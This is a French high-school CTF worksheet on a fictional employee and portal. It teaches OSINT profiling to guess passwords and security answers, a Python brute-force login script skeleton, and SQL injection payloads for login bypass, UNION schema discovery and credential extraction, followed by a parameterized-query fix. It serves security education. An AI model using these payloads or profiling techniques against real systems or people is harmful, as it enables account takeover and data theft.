Challenge Cybersécurité CTF :

"No 🥖, No gain"

Documents de travail / Fiches élèves (SNT, Première NSI, Terminale NSI)

FICHE ÉLÈVE — SECONDE (SNT)

Thème : Réseaux Sociaux & Données Personnelles
Module : Challenge CTF — Enquête OSINT & GeOSINT
Objectif : Comprendre comment l'exposition de données personnelles sur les réseaux sociaux peut être exploitée à des fins d'ingénierie sociale.

Votre Mission

Une entreprise vous demande d'évaluer la quantité d'informations personnelles accessibles en ligne sur l'une de ses collaboratrices fictives, **Alice Tuga** (profil Instagram : @alice.tuga34). Vous retrouverez une copie de ce profil directement sur votre ordinateur.
Votre objectif est de mener une enquête en sources ouvertes (**OSINT**) et géospatiale (**GeOSINT**) afin de remplir sa fiche d'identité et de découvrir les éléments qui pourraient servir à deviner ses identifiants.

Formulaire d'Enquête OSINT

Analysez le profil Instagram, les photos et la biographie pour retrouver les informations suivantes :

Catégorie	Information recherchée
1. Identité & Contact	Nom : _____ Prénom : _____ E-mail pro : _____
2. Scolarité & Parcours	Lycée (2020-2023) : _____ Superieur : _____
3. Vie Privée & Passions	Ville d'origine : _____ Département d'origine : _____ Nom de sa chienne : _____ Passion(s) : _____

Catégorie	Information recherchée
4. GeOSINT (Analyse d'images)	Observez les photos de lieux publiées et indiquez les villes visitées, les événements auxquels elle a assisté. Vous essayerez d'être le plus précis possible en trouvant jusqu'au nom et numéro de rue pour certaines images. Complétez les informations trouvées ci-dessous.

_____

_____

_____

_____

_____

_____

_____

🚩 Pensez à valider le Flag demandé sur la plateforme

Bonus : Réinitialisation de mot de passe (Ingénierie Sociale)

1. Rends-toi sur la page **Mot de passe oublié** du portail.
2. Indique le nom d'utilisateur alice.tuga.
3. Réponds aux deux questions de sécurité en t'appuyant sur les données collectées lors de l'enquête OSINT.
4. *Question de réflexion : Quel principe de sécurité cette méthode remet-elle en cause ?*

🚩 Pense à valider le Flag bonus sur la plateforme

⚠️ **Rappel éthique :** Les techniques d'OSINT présentées ici servent à prendre conscience de l'empreinte numérique que nous laissons en ligne. La collecte d'informations sur de vraies personnes sans consentement est strictement interdite par la loi.

FICHE ÉLÈVE — PREMIÈRE (NSI)

Thème : Web, Requêtes HTTP & Programmation Python
Module : Challenge CTF — Contournement & Automatisations
Objectif : Exploiter des données OSINT pour franchir des mécanismes de récupération de mot de passe et automatiser un test par force brute.

On reprend le document de seconde pour effectuer les mêmes recherches et obtenir le plus d'informations possible concernant notre cible.

Votre Mission

L'application d'entreprise **"No 🥖, No gain"** dispose d'un portail collaborateur. Grâce à l'enquête OSINT menée précédemment, vous disposez d'informations sur l'utilisatrice alice.tuga.

Ingénierie sociale

Les gens utilisent généralement des mots de passe qui ont un rapport avec leur vie quotidienne, à partir des informations récupérées précédemment, rédigez une liste de mots de passe probables qu'Alice aurait pu utiliser :

_____

_____

_____

_____

_____

Souvent les contraintes des mots de passe demandent un caractère spécial, une majuscule, une minuscule… Les gens commencent alors par une majuscule, remplace une 'a' par un '@', finissent par les chiffres de leur département ou de leur année de naissance, ajoutent '?' ou '!' voire '#' à la fin. Autant de choses courantes que l'on peut générer une liste de mots de passe personnalisée.

En utilisant vos propositions ci-dessus, réalisez un script Python qui vous permettra de générer une liste de mots de passe personnalisés à partir de combinaisons.

Automatisation par Brute Force en Python

Sur le formulaire de connexion classique /login, le serveur ne limite pas le nombre de tentatives. Vous allez écrire un script Python qui envoie automatiquement une série de requêtes HTTP POST pour tester une liste de mots de passe courants.

Squelette du script Python à compléter :

```
import requests

url = "http://<IP_SERVEUR>:<PORT>/login"

# Liste de mots de passe potentiels issus d'un dictionnaire ou de l'OSINT
mots_de_passe = ["123456", "azerty", "Shanna", "Montpellier34", "password"]

username = "alice.tuga"

for mdp in mots_de_passe:
    payload = {
        ........
    }

    # Envoi de la requête POST au format JSON
    response = requests.post(url, json=payload)

    data = response.json()

    if data.get("login") == "OK":
       ........
    else:
       ........
```

🚩 Pensez à valider le Flag trouvé sur la plateforme

FICHE ÉLÈVE — TERMINALE (NSI)

Thème : Bases de données (SQL) & Sécurité Web
Module : Challenge CTF — Exploitation et Remédiation d'Injections SQL
Objectif : Comprendre la faille d'injection SQL par concaténation de chaînes, exfiltrer une base de données, puis sécuriser le code avec des requêtes préparées.

Votre Mission

Le formulaire de connexion du portail **"No 🥖, No gain"** traite les identifiants envoyés par l'utilisateur directement dans sa requête SQLite sans validation préalable. Votre rôle est d'analyser la vulnérabilité, d'extraire la table des utilisateurs, puis de proposer un correctif de sécurité.

Étape 1 : Analyse de la Faille & Bypass de Connexion

Le serveur exécute la requête SQL suivante :

```
SELECT * FROM users WHERE username = '<ENTREE_UTILISATEUR>' AND password = '<ENTREE_PASSWORD>';
```

1. **Test de vulnérabilité :** Saisis une simple quote ' dans le champ *Nom d'utilisateur*. Quel est le message d'erreur retourné par le serveur ?

Pour faire un commentaire en SQL, il est possible d'utiliser : `--`

2. **Contournement d'authentification :** Propose une saisie pour le champ username qui permet de vous connecter en tant qu'administrateur sans connaître son mot de passe.

Étape 2 : Extraction de données (Injection UNION)

Pour récupérer l'ensemble des identifiants enregistrés dans la table users, nous allons utiliser la commande UNION SELECT.

- **Déterminer le nombre de colonnes :**
  `' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 --`

- **Récupérer la structure de la table :**

  ```
  ' UNION SELECT sql, sql, sql, sql, sql, sql, sql, sql FROM sqlite_master WHERE type='table' AND name='users' --
  ```

- **Exfiltrer les identifiants :**

  ```
  ' UNION SELECT GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', '), GROUP_CONCAT(username || ':' || password, ', ') FROM users --
  ```

Étape 3 : Remédiation (Sécurisation du Code)

Voici le code Python/Flask vulnérable du serveur :

```python
# ⚠️ CODE VULNÉRABLE (Concaténation directe)

query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
c.execute(query)
```

Travail de remédiation : Réécris ce passage en utilisant une **requête préparée (paramétrée)** afin d'empêcher toute injection SQL.

```python
# ✅ CODE SÉCURISÉ (Requête paramétrée)

query = "SELECT * FROM users WHERE username = ? AND password = ?"
c.execute(query, (username, password))
```

🚩 Pensez à valider le Flag demandé par la plateforme